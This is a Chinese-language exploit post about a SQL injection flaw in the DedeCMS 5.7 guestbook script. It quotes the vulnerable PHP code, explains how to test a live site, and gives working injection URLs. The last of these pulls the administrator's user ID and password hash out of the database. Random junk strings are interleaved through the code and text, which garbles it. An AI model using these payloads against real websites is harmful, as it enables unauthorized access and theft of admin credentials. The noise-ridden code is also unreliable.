dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
5 B! ]3 m' B$ V
漏洞文件edit.inc.php具体代码：

< ?php  
, E: M) f6 W6 m3 P3 D
if(!defined('DEDEINC')) exit('Request Error!');  

   
+ i# M& M0 a% K# L, Q
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  
3 w3 i) I. O1 B3 U0 h
   
6 i" e3 X4 a) L& O# v0 w- w
$id = intval($id);  
. Y6 o0 Y- B7 f. k
6 R* t" \6 {; u! _, oif(empty($job)) $job='view';  
7 U) T& K8 }/ r% H2 m6 X/ W2 e
3 }6 u9 Y9 J( L   

if($job=='del' && $g_isadmin)  

{  
3 \. ]. r" H9 L9 G  @4 H' U
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
1 W+ L( Q) F; a, T1 ~4 \+ \8 r
/ i* [" w  p4 W( M, K+ eShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

; P- V4 }$ q9 k+ I4 `exit();  

; t9 U$ s# g1 v- e' U1 n0 C( Q- }( y6 ^}  

' A. a* m5 o3 L9 `/ Selse if($job=='check' && $g_isadmin)  

" O& _  ]& j8 j$ H{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
6 k' r/ n( p: f# T; t* N
; m3 l) [2 D2 sShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

" Y) [( |6 A' Sexit();  
% h5 {) J* Q9 P$ }4 m2 q8 m$ _
}  
4 S6 m! s& T3 R6 \" |7 c  I
else if($job=='editok')  

% U7 b0 O! j+ F' K1 x. j% K, K2 y{  
' w# i0 D$ J, |! g
4 p6 B+ h( b) }2 B; Y$remsg = trim($remsg);  
5 L1 x4 d' Z  v8 u5 |
if($remsg!='')  

{  
  Y4 e: D* m& m% i# W! f; X
//管理员回复不过滤HTML By:Errorera blog:errs.cc  

if($g_isadmin)  
/ u6 M, m+ G2 }6 L, P$ z
9 X& t& \' Y* e{  

' u5 l, W* d1 ~4 P$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

# r/ E+ f$ i! p1 P$ D* {//$remsg <br /><font color=red>管理员回复：</font> }  

else

{  

% r' P, V) }7 v9 ]& s1 k3 ]2 c$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
/ I/ e, \0 ?# h8 K2 F
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

* B2 J/ }* U. t4 Z+ n$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
" {7 N+ s3 F0 l+ r) {. E, y0 [! a
  I: e1 Y& g" p8 A% ?# A/ i8 G$msg = $oldmsg.$remsg;  
/ t7 d, |1 x$ X
}  
& g, o: b4 K! `3 ^
}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
) P$ D- @$ h7 n- x7 i! i$ e
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
" @1 p- [1 }9 o; W/ u- [5 Z
ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

3 n; j7 @. K+ N0 W/ Y1 |1 J3 qexit();  

}  

1 T# _8 E1 `, A1 y5 j: V, Q//home:www.errs.cc  

if($g_isadmin)  

. v/ j  e: ^. R( z' t- P, i{  
! v7 e, g3 g# v) R
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

2 h' Q/ N/ c2 n  y}  
. e4 b8 s9 m/ ]
else

{  
) S' D' H: f# n7 `1 }
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
' n$ @7 w6 O7 E/ B/ t& c. E: z3 G- F$ c
' I3 g2 E, m. T& X: trequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
- v8 }5 D, l- j: Q1 J
# ?; z" x6 m7 a. u+ Q1 |} 漏洞成功需要条件：
( f: A1 i  u0 Q3 y- Q( b7 o1. php magic_quotes_gpc=off
! ?; M; w/ S2 n, _. i5 H7 J8 H2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

% l+ w3 v* v/ F4 @$ O$ @怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
* K6 P, O1 @! u& P( X, M然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
4 I8 N2 h2 P" f1 m! }访问：
' I5 l! i8 _; U9 ~2 F& ~- _
3 U# {! F2 v  u1 K4 M+ w: {  H0 jwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
  E/ |( B7 W3 O: c
/ @* G: z3 u7 p, `" W& ?
( q& }' F2 j1 L7 [明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, q  Y8 ~4 b' Z+ B& d$ }: i9 O如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
2 y; U6 w  Z2 O! `& v4 P那么再次访问

. L1 z1 Y+ P* C( m, R  @+ |3 kwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
" I; N4 |* ]. `
大概利用就是这样，大家有兴趣的多研究下！！

5 R# t' I1 R. f# m. r最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
% |6 c! w7 l0 G7 ]( X7 F
$ a. P0 b6 l8 a, a1 N. \view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='